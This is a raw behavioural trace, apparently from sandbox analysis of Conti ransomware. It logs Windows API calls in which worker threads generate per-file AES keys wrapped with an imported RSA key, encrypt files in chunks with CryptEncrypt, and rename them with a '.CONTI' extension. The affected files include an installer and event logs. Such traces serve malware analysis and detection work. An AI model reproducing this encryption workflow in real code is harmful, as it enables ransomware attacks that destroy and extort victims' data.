	[0119.217] CreateFileW (lpFileName="C:\\ProgramData\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\programdata\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0119.218] GetLastError () returned 0x0
	[0119.218] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=82551925) returned 1
	[0119.218] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4eba475
	[0119.218] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.218] SetEndOfFile (hFile=0x30c) returned 1
	[0119.218] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.219] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.219] WriteFile (in: hFile=0x30c, lpBuffer=0x65d674c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x65d674c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0119.221] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.222] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0122.494] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0122.501] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.501] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0124.288] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0124.437] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0124.443] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.443] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0126.863] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0127.736] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0127.742] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.742] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0130.096] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0131.961] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0131.967] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xf00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.967] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0132.971] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0135.221] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0135.226] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x1400000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.226] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0136.064] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0137.059] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0137.066] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x1900000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.066] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0139.558] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0141.460] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0142.327] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x1e00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.327] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0145.667] ReadFile (in: hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x500000, lpOverlapped=0x0) returned 1
	[0149.912] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x500000) returned 1
	[0149.919] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x2300000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.919] WriteFile (in: hFile=0x30c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x500000, lpOverlapped=0x0) returned 1
	[0153.660] ReadFile (hFile=0x30c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0) 

Thread:
	id = 149
	os_tid = 0x134c

	[0093.037] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x8e60000
	[0093.037] CryptAcquireContextA (in: phProv=0x393fe0c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x393fe0c*=0x1748770) returned 1
	[0093.040] CryptImportKey (in: hProv=0x1748770, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x393fe08 | out: phKey=0x393fe08*=0x173a7d0) returned 1
	[0093.040] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0094.536] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x175e5f0) returned 1
	[0094.536] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x393fdd4 | out: pbData=0x17c5594*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0094.547] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80
	[0094.548] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.548] GetLastError () returned 0x0
	[0094.548] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=872448) returned 1
	[0094.548] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd5000
	[0094.549] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.549] SetEndOfFile (hFile=0x324) returned 1
	[0094.549] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.549] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.549] WriteFile (in: hFile=0x324, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.622] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.622] ReadFile (in: hFile=0x324, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xd5000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xd5000, lpOverlapped=0x0) returned 1
	[0094.647] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd5000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd5010) returned 1
	[0094.648] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.648] WriteFile (in: hFile=0x324, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xd5010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xd5010, lpOverlapped=0x0) returned 1
	[0094.651] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.651] WriteFile (in: hFile=0x324, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0094.651] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.651] CloseHandle (hObject=0x324) returned 1
	[0094.976] GetProcessHeap () returned 0x1720000
	[0094.976] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7640
	[0094.976] lstrcpyW (in: lpString1=0x17c7640, lpString2="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi") returned="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi"
	[0094.976] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.CONTI") returned="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.CONTI"
	[0094.976] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.conti")) returned 1
	[0094.977] GetProcessHeap () returned 0x1720000
	[0094.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7640 | out: hHeap=0x1720000) returned 1
	[0094.977] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0094.977] GetProcessHeap () returned 0x1720000
	[0094.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0cc8 | out: hHeap=0x1720000) returned 1
	[0094.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0094.977] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x175e5f0) returned 1
	[0094.977] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x393fdd4 | out: pbData=0x17d244c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0094.978] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0095.220] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.220] GetLastError () returned 0x0
	[0095.220] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0095.220] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.220] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.221] SetEndOfFile (hFile=0x358) returned 1
	[0095.224] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.225] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.225] WriteFile (in: hFile=0x358, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0095.226] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.226] ReadFile (in: hFile=0x358, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0095.227] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0095.227] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.227] WriteFile (in: hFile=0x358, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0095.228] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.228] WriteFile (in: hFile=0x358, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0095.228] SetFilePointer (in: hFile=0x358, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.228] CloseHandle (hObject=0x358) returned 1
	[0095.229] GetProcessHeap () returned 0x1720000
	[0095.229] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.229] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx"
	[0095.229] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.CONTI"
	[0095.229] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.conti")) returned 1
	[0095.230] GetProcessHeap () returned 0x1720000
	[0095.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.230] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0095.230] GetProcessHeap () returned 0x1720000
	[0095.230] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740640 | out: hHeap=0x1720000) returned 1
	[0095.230] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0095.491] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c8470) returned 1
	[0095.491] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x393fdd4 | out: pbData=0x17d3d64*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0095.492] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0096.606] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.606] GetLastError () returned 0x0
	[0096.606] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.606] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.606] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.606] SetEndOfFile (hFile=0x37c) returned 1
	[0096.614] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.614] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.614] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3d64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d3d64*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.629] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.629] ReadFile (in: hFile=0x37c, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.653] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0096.653] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.653] WriteFile (in: hFile=0x37c, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.654] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.654] WriteFile (in: hFile=0x37c, lpBuffer=0x17d3d58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d3d58*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0096.654] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.654] CloseHandle (hObject=0x37c) returned 1
	[0096.655] GetProcessHeap () returned 0x1720000
	[0096.656] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.656] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx"
	[0096.656] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.CONTI"
	[0096.656] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.conti")) returned 1
	[0096.656] GetProcessHeap () returned 0x1720000
	[0096.656] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.656] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0096.656] GetProcessHeap () returned 0x1720000
